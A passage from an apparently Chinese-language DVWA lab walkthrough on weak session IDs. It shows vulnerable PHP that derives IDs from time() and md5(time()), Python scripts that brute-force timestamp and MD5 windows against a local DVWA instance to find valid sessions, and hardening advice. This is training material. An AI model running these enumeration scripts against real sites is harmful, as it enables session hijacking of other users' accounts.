只需要在时间窗口内枚举</span></span><br><span class="line">    <span class="variable">$session_id</span> = <span class="title function_ invoke__">time</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 设置Cookie</span></span><br><span class="line">    <span class="title function_ invoke__">setcookie</span>( <span class="string">&quot;dvwaSession&quot;</span>, <span class="variable">$session_id</span>, <span class="number">0</span>, <span class="string">&quot;/&quot;</span> );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$cookie_value</span> = <span class="variable">$_COOKIE</span>[ <span class="string">&#x27;dvwaSession&#x27;</span> ];</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><p>使用时间戳替代简单计数器</p><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><p>时间戳仍然是可预测的！</p><figure class="highlight dns"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">2024-11-20</span> <span class="number">22</span>:<span class="number">00</span>:<span class="number">00</span> → <span class="number">1700503200</span></span><br><span class="line"><span class="number">2024-11-20</span> <span class="number">22</span>:<span class="number">00</span>:<span class="number">01</span> → <span class="number">1700503201</span></span><br><span class="line"><span class="number">2024-11-20</span> <span class="number">22</span>:<span class="number">00</span>:<span class="number">02</span> → <span class="number">1700503202</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure><p><strong>攻击者可以：</strong></p><ol><li>知道大致的时间范围</li><li>在这个范围内枚举（±几分钟）</li><li>找到有效的Session ID</li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：时间窗口枚举"><a href="#方法1：时间窗口枚举" class="headerlink" title="方法1：时间窗口枚举"></a>方法1：时间窗口枚举</h4><p><strong>Python脚本：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/weak_id/&quot;</span></span><br><span class="line">cookies_base = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;medium&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;你的PHPSESSID&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取当前时间戳</span></span><br><span class="line">current_time = <span class="built_in">int</span>(time.time())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 枚举前后5分钟的时间戳（300秒）</span></span><br><span class="line"><span class="keyword">for</span> offset <span class="keyword">in</span> <span class="built_in">range</span>(-<span class="number">300</span>, <span class="number">300</span>):</span><br><span class="line">    session_id = current_time + offset</span><br><span class="line"></span><br><span class="line">    cookies = cookies_base.copy()</span><br><span class="line">    cookies[<span class="string">&#x27;dvwaSession&#x27;</span>] = <span class="built_in">str</span>(session_id)</span><br><span class="line"></span><br><span class="line">    response = requests.get(url, cookies=cookies)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;valid session&quot;</span> <span class="keyword">in</span> response.text.lower():</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] Found valid session: <span class="subst">&#123;session_id&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;    Timestamp: <span class="subst">&#123;time.ctime(session_id)&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><h4 id="方法2：已知用户登录时间"><a href="#方法2：已知用户登录时间" class="headerlink" title="方法2：已知用户登录时间"></a>方法2：已知用户登录时间</h4><p>如果知道用户的登录时间（如：2024-11-20 15:30:00），可以：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="comment"># 已知登录时间</span></span><br><span class="line">login_time = datetime.datetime(<span class="number">2024</span>, <span class="number">11</span>, <span class="number">20</span>, <span class="number">15</span>, <span class="number">30</span>, <span class="number">0</span>)</span><br><span class="line">timestamp = <span class="built_in">int</span>(login_time.timestamp())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在前后1分钟内枚举</span></span><br><span class="line"><span class="keyword">for</span> offset <span class="keyword">in</span> <span class="built_in">range</span>(-<span class="number">60</span>, <span class="number">60</span>):</span><br><span class="line">    session_id = timestamp + offset</span><br><span class="line">    <span class="comment"># 测试这个Session ID</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;Trying: <span class="subst">&#123;session_id&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用MD5哈希，但基于时间戳，仍可预测。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( !<span class="keyword">isset</span>( <span class="variable">$_COOKIE</span>[ <span class="string">&#x27;dvwaSession&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 使用MD5哈希时间戳 ★★★</span></span><br><span class="line">    <span class="comment">// time() - 当前时间戳</span></span><br><span class="line">    <span class="comment">// md5() - MD5哈希函数</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 例如：</span></span><br><span class="line">    <span class="comment">// time() = 1700503200</span></span><br><span class="line">    <span class="comment">// md5(1700503200) = &quot;8e296a067a37563370ded05f5a3bf3ec&quot;</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：</span></span><br><span class="line">    <span class="comment">// 1. 虽然看起来随机，但基础数据（时间戳）是可预测的</span></span><br><span class="line">    <span class="comment">// 2. 攻击者可以预计算时间范围内的所有MD5值</span></span><br><span class="line">    <span class="comment">// 3. 然后枚举测试</span></span><br><span class="line">    <span class="variable">$session_id</span> = <span class="title function_ invoke__">md5</span>( <span class="title function_ invoke__">time</span>() );</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">setcookie</span>( <span class="string">&quot;dvwaSession&quot;</span>, <span class="variable">$session_id</span>, <span class="number">0</span>, <span class="string">&quot;/&quot;</span> );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$cookie_value</span> = <span class="variable">$_COOKIE</span>[ <span class="string">&#x27;dvwaSession&#x27;</span> ];</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><p>使用MD5哈希时间戳</p><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><p>虽然使用了MD5，但输入源（时间戳）是可预测的！</p><p><strong>攻击原理：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 预计算MD5</span></span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">current = <span class="built_in">int</span>(time.time())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成前后5分钟的所有MD5值</span></span><br><span class="line">md5_dict = &#123;&#125;</span><br><span class="line"><span class="keyword">for</span> offset <span class="keyword">in</span> <span class="built_in">range</span>(-<span class="number">300</span>, <span class="number">300</span>):</span><br><span class="line">    timestamp = current + offset</span><br><span class="line">    md5_hash = hashlib.md5(<span class="built_in">str</span>(timestamp).encode()).hexdigest()</span><br><span class="line">    md5_dict[md5_hash] = timestamp</span><br><span class="line"></span><br><span class="line"><span class="comment"># 现在有了MD5 → 时间戳的映射</span></span><br><span class="line"><span class="comment"># 可以用这个字典枚举Session ID</span></span><br></pre></td></tr></table></figure><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法：预计算MD5字典"><a href="#方法：预计算MD5字典" class="headerlink" title="方法：预计算MD5字典"></a>方法：预计算MD5字典</h4><p><strong>完整攻击脚本：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://dvwa.local/dvwa/vulnerabilities/weak_id/&quot;</span></span><br><span class="line">cookies_base = &#123;</span><br><span class="line">    <span class="string">&#x27;security&#x27;</span>: <span class="string">&#x27;high&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;PHPSESSID&#x27;</span>: <span class="string">&#x27;你的PHPSESSID&#x27;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取当前时间</span></span><br><span class="line">current_time = <span class="built_in">int</span>(time.time())</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] Generating MD5 dictionary...&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成前后10分钟的MD5字典（600秒）</span></span><br><span class="line">md5_list = []</span><br><span class="line"><span class="keyword">for</span> offset <span class="keyword">in</span> <span class="built_in">range</span>(-<span class="number">600</span>, <span class="number">600</span>):</span><br><span class="line">    timestamp = current_time + offset</span><br><span class="line">    md5_hash = hashlib.md5(<span class="built_in">str</span>(timestamp).encode()).hexdigest()</span><br><span class="line">    md5_list.append((md5_hash, timestamp))</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[*] Generated <span class="subst">&#123;<span class="built_in">len</span>(md5_list)&#125;</span> MD5 hashes&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[*] Testing Session IDs...&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 枚举测试</span></span><br><span class="line"><span class="keyword">for</span> md5_hash, timestamp <span class="keyword">in</span> md5_list:</span><br><span class="line">    cookies = cookies_base.copy()</span><br><span class="line">    cookies[<span class="string">&#x27;dvwaSession&#x27;</span>] = md5_hash</span><br><span class="line"></span><br><span class="line">    response = requests.get(url, cookies=cookies)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;valid&quot;</span> <span class="keyword">in</span> response.text.lower():</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[+] Found valid session!&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;    Session ID: <span class="subst">&#123;md5_hash&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;    Timestamp: <span class="subst">&#123;timestamp&#125;</span> (<span class="subst">&#123;time.ctime(timestamp)&#125;</span>)&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 避免请求太快</span></span><br><span class="line">    time.sleep(<span class="number">0.1</span>)</span><br></pre></td></tr></table></figure><p><strong>优化：多线程</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">import</span> queue</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">worker</span>(<span class="params">q, results</span>):</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            md5_hash, timestamp = q.get(timeout=<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">            cookies = cookies_base.copy()</span><br><span class="line">            cookies[<span class="string">&#x27;dvwaSession&#x27;</span>] = md5_hash</span><br><span class="line"></span><br><span class="line">            response = requests.get(url, cookies=cookies)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;valid&quot;</span> <span class="keyword">in</span> response.text.lower():</span><br><span class="line">                results.append((md5_hash, timestamp))</span><br><span class="line"></span><br><span class="line">            q.task_done()</span><br><span class="line">        <span class="keyword">except</span> queue.Empty:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建队列和线程</span></span><br><span class="line">q = queue.Queue()</span><br><span class="line">results = []</span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加任务到队列</span></span><br><span class="line"><span class="keyword">for</span> md5_hash, timestamp <span class="keyword">in</span> md5_list:</span><br><span class="line">    q.put((md5_hash, timestamp))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 启动10个线程</span></span><br><span class="line">threads = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">10</span>):</span><br><span class="line">    t = threading.Thread(target=worker, args=(q, results))</span><br><span class="line">    t.start()</span><br><span class="line">    threads.append(t)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 等待完成</span></span><br><span class="line">q.join()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> threads:</span><br><span class="line">    t.join()</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;[+] Found <span class="subst">&#123;<span class="built_in">len</span>(results)&#125;</span> valid sessions&quot;</span>)</span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用PHP内置的安全Session机制，无法预测。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 使用PHP内置的Session机制 ★★★</span></span><br><span class="line"><span class="comment">// session_start() - 启动或恢复会话</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// PHP会：</span></span><br><span class="line"><span class="comment">// 1. 生成强随机的Session ID（使用CSPRNG）</span></span><br><span class="line"><span class="comment">// 2. Session ID长度：32字符（128位熵）</span></span><br><span class="line"><span class="comment">// 3. 使用字母数字：0-9, a-z（36个字符）</span></span><br><span class="line"><span class="comment">// 4. 总可能性：36^32 ≈ 6.3 × 10^49</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 例如：</span></span><br><span class="line"><span class="comment">// PHPSESSID = &quot;a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6&quot;</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 特点：</span></span><br><span class="line"><span class="comment">// - 密码学安全的随机数生成器</span></span><br><span class="line"><span class="comment">// - 高熵值（128位）</span></span><br><span class="line"><span class="comment">// - 完全不可预测</span></span><br><span class="line"><span class="comment">// - 暴力破解在计算上不可行</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 获取Session ID ★★★</span></span><br><span class="line"><span class="comment">// session_id() - 返回当前Session ID</span></span><br><span class="line"><span class="comment">// 这个ID是由PHP自动生成和管理的</span></span><br><span class="line"><span class="variable">$cookie_value</span> = <span class="title function_ invoke__">session_id</span>();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>PHP Session ID特性：</strong></p><ol><li><p><strong>强随机性</strong></p><ul><li>使用CSPRNG（密码学安全伪随机数生成器）</li><li>不可预测</li></ul></li><li><p><strong>高熵值</strong></p><ul><li>32字符长度</li><li>128位熵</li><li>36^32种可能性</li></ul></li><li><p><strong>自动管理</strong></p><ul><li>PHP自动处理Session</li><li>安全的默认配置</li></ul></li><li><p><strong>安全选项</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 可以进一步加强</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&#x27;session.cookie_httponly&#x27;</span>, <span class="number">1</span>);  <span class="comment">// HttpOnly</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&#x27;session.cookie_secure&#x27;</span>, <span class="number">1</span>);    <span class="comment">// Secure</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&#x27;session.use_only_cookies&#x27;</span>, <span class="number">1</span>); <span class="comment">// 只使用Cookie</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&#x27;session.cookie_samesite&#x27;</span>, <span class="string">&#x27;Strict&#x27;</span>); <span class="comment">// SameSite</span></span><br></pre></td></tr></table></figure></li></ol><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>暴力破解计算：</strong></p><figure class="highlight parser3"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="language-xml">Session ID长度：</span><span class="number">32</span><span class="language-xml">字符</span></span><br><span class="line"><span class="language-xml">字符集：</span><span class="number">0</span><span class="number">-9</span><span class="language-xml">, a-z（</span><span class="number">36</span><span class="language-xml">个字符）</span></span><br><span class="line"><span class="language-xml">可能性：</span><span class="number">36</span><span class="keyword">^32</span><span class="language-xml"> ≈ </span><span class="number">6.3</span><span class="language-xml"> × </span><span class="number">10</span><span class="keyword">^49</span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">假设：</span></span><br><span class="line"><span class="language-xml">- 每秒测试</span><span class="number">100</span><span class="language-xml">万个Session ID</span></span><br><span class="line"><span class="language-xml">- 需要时间：</span><span class="number">6.3</span><span class="language-xml"> × </span><span class="number">10</span><span class="keyword">^49</span><span class="language-xml"> / </span><span class="number">10</span><span class="keyword">^6</span><span class="language-xml"> ≈ </span><span class="number">6.3</span><span class="language-xml"> × </span><span class="number">10</span><span class="keyword">^43</span><span class="language-xml"> 秒</span></span><br><span class="line"><span class="language-xml">- 转换为年：≈ </span><span class="number">2</span><span class="language-xml"> × </span><span class="number">10</span><span class="keyword">^36</span><span class="language-xml"> 年</span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">宇宙年龄：约 </span><span class="number">1.4</span><span class="language-xml"> × </span><span class="number">10</span><span class="keyword">^10</span><span class="language-xml"> 年</span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">暴力破解在计算上完全不可行！</span></span><br></pre></td></tr></table></figure><p><strong>所有攻击都失败：</strong></p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">尝试<span class="number">1</span>：枚举连续数字</span><br><span class="line">结果：<span class="keyword">Session</span> ID不是数字，是随机字符串</span><br><span class="line"></span><br><span class="line">尝试<span class="number">2</span>：基于时间预测</span><br><span class="line">结果：<span class="keyword">Session</span> ID与时间无关</span><br><span class="line"></span><br><span class="line">尝试<span class="number">3</span>：MD5字典</span><br><span class="line">结果：<span class="keyword">Session</span> ID不是基于简单哈希</span><br><span class="line"></span><br><span class="line">尝试<span class="number">4</span>：暴力破解</span><br><span class="line">结果：计算上不可行（需要宇宙年龄的<span class="number">10</span>^<span class="number">26</span>倍）</span><br></pre></td></tr></table></figure><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-使用PHP内置Session（推荐）"><a href="#1-使用PHP内置Session（推荐）" class="headerlink" title="1. 使用PHP内置Session（推荐）"></a>1. 使用PHP内置Session（推荐）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 启动Session</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// PHP会自动生成安全的Session ID</span></span><br><span class="line"><span class="variable">$session_id</span> = <span class="title function_ invoke__">session_id</span>();</span><br></pre></td></tr></table></figure><h4 id="2-配置Session安全选项"><a href="#2-配置Session安全选项" class="headerlink" title="2. 配置Session安全选项"></a>2. 配置Session安全选项</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// php.ini 或运行时配置</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用HttpOnly（防止JavaScript读取）</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&#x27;session.cookie_httponly&#x27;</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用Secure（只通过HTTPS传输）</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&#x27;session.cookie_secure&#x27;</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 只使用Cookie（不在URL中传递）</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&#x27;session.use_only_cookies&#x27;</span>, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 禁止透明Session ID</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&#x27;session.use_trans_sid&#x27;</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// SameSite属性（防CSRF）</span></span><br><span class="line"><span class="title function_ invoke__">ini_set</span>(<span class="string">&#x27;session.cookie_samesite&#x27;</span>, <span class="string">&#x27;Strict&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Session名称（不使用默认PHPSESSID）</span></span><br><span class="line"><span class="title function_ invoke__">session_name</span>(<span class="string">&#x27;MyApp_Session&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 自定义Session保存路径</span></span><br><span class="line"><span class="title function_ invoke__">session_save_path</span>(<span class="string">&#x27;/path/to/secure/directory&#x27;</span>);</span><br></pre></td></tr></table></figure><h4 id="3-定期更新Session-ID"><a href="#3-定期更新Session-ID" class="headerlink" title="3. 定期更新Session ID"></a>3. 定期更新Session ID</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 登录后更新Session ID（防Session Fixation）</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$user_authenticated</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">session_regenerate_id</span>(<span class="literal">true</span>); <span class="comment">// true表示删除旧Session</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 敏感操作前更新</span></span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$critical_operation</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">session_regenerate_id</span>(<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="4-添加额外的安全检查"><a href="#4-添加额外的安全检查" class="headerlink" title="4. 添加额外的安全检查"></a>4. 添加额外的安全检查</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span 